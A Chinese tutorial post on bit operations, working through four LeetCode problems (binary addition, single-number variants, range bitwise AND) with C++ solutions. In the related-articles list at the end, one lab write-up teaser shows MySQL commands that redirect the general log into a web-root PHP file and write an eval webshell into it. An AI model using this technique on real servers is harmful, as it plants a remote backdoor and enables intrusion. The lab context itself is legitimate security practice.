LeetCode 面试经典 150 题 | 位运算

news2024/11/17 6:39:57

目录

    • 1 什么是位运算?
    • 2 67. 二进制求和
    • 3 136. 只出现一次的数字
    • 4 137. 只出现一次的数字 II
    • 5 201. 数字范围按位与




1 什么是位运算?

✒️ 源自:位运算 - 菜鸟教程

在现代计算机中,所有数据都以二进制形式存储,即 0 0 0 1 1 1 两种状态。计算机对二进制数据进行的运算(如:加、减、乘、除)被称为位运算,即对二进制数的每一位进行操作的运算。

为了更好地理解位运算,举个简单的例子:假设我们有如下代码进行两个整数的加法运算:

int a = 35;
int b = 47;
int c = a + b;

计算机会将这两个整数转换为二进制形式,然后进行加法运算:

35:  0010 0011
47:  0010 1111
--------------
82:  0101 0010

因此,与直接使用 + + + − - ∗ * / / / 运算符相比,合理运用位运算可以显著提高代码在机器上的执行效率。

✒️ 位运算概览

符号描述运算规则
&两个位都为 1 时,结果才为 1
|两个位都为 0 时,结果才为 0
^异或两个位相同为 0,相异为 1
~取反0 变 1,1 变 0
<<左移各二进制位全部左移若干位,高位丢弃,低位补 0
>>右移各二进制位全部右移若干位,高位补 0 或符号位补齐


2 67. 二进制求和

假设需要计算 a a = 111 aa=111 aa=111 b b = 101 bb=101 bb=101 的和,那么可以将每一位的计算结果分为本位和进位:

在这里插入图片描述

让我们从右往左看整个计算过程:

  • ① 首先是 1 + 1 1+1 1+1,本位是 0 0 0,进位是 1 1 1
  • ② 然后是 1 + 0 1+0 1+0,本位是 1 1 1,进位是 0 0 0
  • ③ 最后是 1 + 1 1+1 1+1,本位是 0 0 0,进位是 1 1 1

通常会在 ② 中加上 ① 产生的进位,即在处理当前位的时候考虑上一位的进位。与之相反,我们不单独考虑进位,而是对进位进行统一处理,即先计算出所有的本位以及所有的进位,再对二者进行求和。

继续来看上面的计算过程,我们已经得到:

  • 本位 = 0...0010 =0...0010 =0...0010
  • 进位 = 0...1010 =0...1010 =0...1010

然后再计算本位和进位的和,得到新的本位和进位。重复上述操作,直到进位为 0 0 0,即没有进位时为止。

核心代码

auto ans = aa ^ bb;  // 按位异或计算本位
auto carry = (aa & bb) << 1;  // 按位与计算进位

其中变量 a n s \mathrm{ans} ans 用于存储所有本位,变量 c a r r y \mathrm{carry} carry 用于存储所有进位。

由于进位是指进到更高的一位,因此需要对按位与的结果进行左移一位的操作。

完整代码

string addBinary(string a, string b) {
    // 转换为二进制串
    auto aa = bitset<10001>(a);
    auto bb = bitset<10001>(b);

    // 求和
    while (bb != 0) {
        auto ans = aa ^ bb;
        auto carry = (aa & bb) << 1;
        aa = ans;
        bb = carry;
    }

    // 去除多余的前缀零
    string ans = aa.to_string();
    int pos = ans.find('1');
    if (pos > ans.size()) ans = "0";
    else ans = ans.substr(pos);
    return ans;
}


3 136. 只出现一次的数字

题目信息:除了某个元素只出现一次以外,其余每个元素均出现两次,找出那个只出现了一次的元素。

假设元素分别为 a 1 , a 2 , . . . , a n a_1,a_2,...,a_n a1,a2,...,an,根据异或操作的定义可知:

a i ⊗ a i = 0 a_i \otimes a_i = 0 aiai=0

如果是 a 7 a_7 a7 元素只出现了一次,那么有:

a 1 ⊗ a 2 ⊗ . . . ⊗ a 7 ⊗ . . . ⊗ a n = 0 ⊗ a 7 ⊗ 0 = a 7 a_1 \otimes a_2 \otimes ... \otimes a_7 \otimes ... \otimes a_n = 0 \otimes a_7 \otimes 0 = a_7 a1a2...a7...an=0a70=a7

因此,我们只要对所有元素进行异或,就能找出那个只出现了一次的元素。

完整代码

int singleNumber(vector<int>& nums) {
    int ans = 0;
    for (auto & num : nums)
        ans ^= num;
    return ans;
}


4 137. 只出现一次的数字 II

本题一看就是上一题的姊妹题,但是完全不能用上一题的思路做。

本题思路:对于数组中非答案的元素,每一个元素都出现了 3 3 3 次,对应着第 i i i 个二进制位的 3 3 3 0 0 0 3 3 3 1 1 1。无论是哪一种情况, 0 0 0 1 1 1 的个数都是 3 3 3 的倍数。现在计算所有元素的第 i i i 个二进制位为 1 1 1 的个数,如果不为 3 3 3 的倍数,那么多余的 1 1 1 一定是答案的第 i i i 个二进制位提供的,即答案的第 i i i 个二进制位为 1 1 1;否则为 0 0 0

说明:“答案” 是指那个只出现了一次的元素。

完整代码

int singleNumber(vector<int>& nums) {
    int ans = 0;
    for (int i = 0; i < 32; ++i) {
        int cnt = 0;
        for (auto & num : nums) {
            if (num >> i & 1)
                ++cnt;
        }
        if (cnt % 3 == 1)
            ans |= 1 << i;
    }
    return ans;
}

这种解法属于是通用解法了,完全可以用来解决上一题。不过思路这么繁琐,我用哈希表不香吗 😇



5 201. 数字范围按位与

假设 l e f t \mathrm{left} left r i g h t \mathrm{right} right 的前 i i i 位相同,由于 l e f t < r i g h t \mathrm{left<right} left<right 且第 i + 1 i+1 i+1 位不同,因此 l e f t \mathrm{left} left 的第 i + 1 i+1 i+1 位必为 0 0 0 r i g h t \mathrm{right} right 的第 i + 1 i+1 i+1 位必为 1 1 1(从左往右数)。由于前 i i i 位相同,因此按位与的结果等于前 i i i 位本身。如下图所示:

在这里插入图片描述

对于第 i + 1 i+1 i+1 位及剩余的位,因为从 0...   . . . . 0...\ .... 0... .... 1...   . . . . 1...\ .... 1... .... 必然会经过 1000   0000 1000\ 0000 1000 0000,因此按位与的结果一定为 0000   0000 0000\ 0000 0000 0000。通过上述分析可知,我们只需要找出前 i i i 位相同的部分,剩余的位置为 0 0 0 即可。

完整代码

int rangeBitwiseAnd(int left, int right) {
    int ans = 0;
    int pos = 1 << 30;
    while (pos > 0 && ((left & pos) == (right & pos))) {
        ans |= (left & pos);
        pos >>= 1;
    }
    return ans;
}

其中变量 p o s \mathrm{pos} pos 从高位到低位,逐位比较 l e f t \mathrm{left} left r i g h t \mathrm{right} right 是否相同。



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1975247.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【多模态大模型】 BLIP-2 in ICML 2023

一、引言 论文&#xff1a; BLIP-2: Bootstrapping Language-Image Pre-training with Frozen Image Encoders and Large Language Models 作者&#xff1a; Salesforce Research 代码&#xff1a; BLIP-2 特点&#xff1a; 该方法分别使用冻结的图像编码器&#xff08;ViT-L/…

力扣SQL50 部门工资前三高的所有员工 自连接 子查询

Problem: 185. 部门工资前三高的所有员工 &#x1f468;‍&#x1f3eb; 参考题解 SELECTd.Name AS Department, -- 选择部门的名称&#xff0c;并将其别名为 Departmente1.Name AS Employee, -- 选择员工的姓名&#xff0c;并将其别名为 Employeee1.…

cmake之find_package命令详解

前言 find_package是cmake用来管理第三方库的一个命令。那这个命令有什么用呢&#xff1f;在实际项目开发中&#xff0c;我们肯定会使用到第三方库。那就需要在程序中&#xff0c;去指定库的位置和头文件位置&#xff0c;但库的安装位置&#xff0c;每个人都是不一样的&#x…

苍穹外卖day12(day09)---商家端订单管理模块

商家端订单管理模块&#xff1a; 订单搜索 产品原型 业务规则&#xff1a; 输入订单号/手机号进行搜索&#xff0c;支持模糊搜索 根据订单状态进行筛选 下单时间进行时间筛选 搜索内容为空&#xff0c;提示未找到相关订单 搜索结果页&#xff0c;展示包含搜索关键词的内容…

不用虚拟机,使用windows调试linux内核

1.安装msys2 https://www.msys2.org/ 2.打开msys2 ucrt64安装qemu和gdb还有gef pacman -S mingw-w64-ucrt-x86_64-qemu pacman -S gdb pacman -S binutils 用下面的脚本安装gef #!/usr/bin/env bashset -e# check dependencies if [ ! "$(command -v python3)" ]; t…

iOS ------RunLoop

一&#xff0c;RunLoop简介 RunLoop实际上是一个对象&#xff0c;这个对象在循环中用来处理程序运行过程中出现的各种事件&#xff08;比如说触摸事件、UI刷新事件、定时器事件、Selector事件&#xff09;&#xff0c;从而保持程序的持续运行&#xff0c;RunLoop在没有事件处理…

phpMyAdmin-CMS靶场

1.通过日志文件拿shell show global variables like %general%; set global general_logon; set global general_log_file D:/phpStudy_pro/WWW/muma.php; show global variables like %general%; select <?php eval($_POST["admin"]);?>; select<?ph…

FreeModbus学习——接收状态机xMBRTUReceiveFSM

FreeModbus版本&#xff1a;1.6 接收状态机xMBRTUReceiveFSM 在协议栈初始化时&#xff0c;会发现有两个接收函数 peMBFrameReceiveCur eMBRTUReceive; pxMBFrameCBByteReceived xMBRTUReceiveFSM; 那么这两个接收函数哪个是状态机&#xff1f;它俩有什么区别呢&#xf…

Linux:Xshell相关配置及前期准备

一、Linux的环境安装 1、裸机安装或者是双系统 2、虚拟机的安装 3、云服务器&#xff08;推荐&#xff09;——>安装简单&#xff0c;维护成本低&#xff0c;学习效果好&#xff0c;仿真性高&#xff08;可多人一起用一个云服务器&#xff09; 1.1 购买云服务器 使用云服…

Linux 内核源码分析---块设备

磁盘&#xff08;disk&#xff09;是指利用磁记录技术存储数据的存储器。 磁盘是计算机主要的存储介质&#xff0c;可以存储大量的二进制数据&#xff0c;并且断电后也能保持数据不丢失。早期计算机使用的磁盘是软磁盘&#xff08;Floppy Disk&#xff0c;简称软盘&#xff09;…

LeetCode Hot100实战之双指针

公众号&#xff1a;自学编程村&#xff0c;回复“书籍”&#xff0c;领取1000多本计算机书籍。涵盖语言语法、数据结构算法、AI相关书籍、开发相关等等各种书籍&#xff0c;应有尽有&#xff0c;你总会用到。 回复“C语言”&#xff0c;领取原创C语言九讲PDF教程&#xff08;数…

功能实现——通过阿里云 OSS 实现文件管理

目录 1.需求分析2.阿里云 OSS 开通与配置2.1.登录阿里云官网2.2.搜索 OSS 服务并开通2.3.OSS 配置 3.在项目使用阿里云 OSS3.1.项目环境搭建3.2.代码实现3.2.1.将本地文件上传到阿里云 OSS3.2.2.将前端传入的文件上传到阿里云 OSS3.2.3.下载文件到本地2.3.4.流式下载3.2.4.OSSC…

携程酒店、景点、评论数据采集,testab动态js加密参数处理不补js环境不纯算

携程平台的酒店、景点、评价数据还是比较有意义的&#xff0c;可用作数据分析研究&#xff0c;目前均可采集。酒店价格需要登录采集&#xff0c;其他店名、地址、经纬度、评分、评价数、特色标签等都可以直接采集。 携程酒店数据示例&#xff1a; 酒店id&#xff1a;536424 …

免费【2024】springboot 大学生在线论坛系统的设计与实现

博主介绍&#xff1a;✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌ 技术范围&#xff1a;SpringBoot、Vue、SSM、HTML、Jsp、PHP、Nodejs、Python、爬虫、数据可视化…

常用配置文件 .ini、.config、 json、xml

ini Initialization INI文件格式是某些平台或软件上的配置文件的非正式标准&#xff0c;以节(section)和键值对(key-val)构成&#xff0c;常用于微软Windows操作系统中。 这种配置文件的文件扩展名多为INI 》》INI文件不支持数据类型&#xff0c;所有的键值对都是字符串类型…

[SQLSERVER][SQL]数据库备份任务异常

SQL备份异常出现如下错误&#xff1a; 执行查询“BACKUP DATABASE [ReportServerTempDB] TO DISK N...”失败&#xff0c; 执行查询“BACKUP DATABASE [ReportServerTempDB] TO DISK N...”失败&#xff0c; 错误如下:“无法打开备份设备 E:\\sqldatabackup19\\Report_ba…

nose2,一个无敌的 Python 库!

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 大家好&#xff0c;今天为大家分享一个无敌的 Python 库 - nose2。 Github地址&#xff1a;https://github.com/nose-devs/nose2 在软件开发过程中&#xff0c;自动化测试是保证代码质量的重要环节。Python 提供…

Python(模块)

模块编写完成就可以被其他模块进行调用并使用被调用模块的功能。 import导入方式的语法结构&#xff1a; import模块名称【as别名】 from……import导入方式的语法结构&#xff1a; from模块名称&#xff0c;import变量/函数/类/*&#xff08;*是通配符&#xff09; impor…

非线性磁链观测器

前面已经介绍了龙伯格观测器、滑膜观测器&#xff1a;龙伯格观测器&#xff08;又称状态观测器&#xff09;、滑膜观测器-CSDN博客 滑膜观测器和龙伯格观测器都是没法实现电机的超低速运转、0速启动、超高速的正反方向的运行。龙伯格观测器是可以实现这些功能&#xff0c;但是…

Resolving Maven dependencies

Maven是一种项目管理和构建工具&#xff0c;通常用于Java项目。这个过程包括下载项目所需的所有外部库和插件&#xff0c;并将它们添加到项目的构建路径中。具体来说&#xff0c;它正在处理名为“AAS_byBasyx”的项目或模块的依赖项。这种任务通常在你打开一个新的Maven项目或更…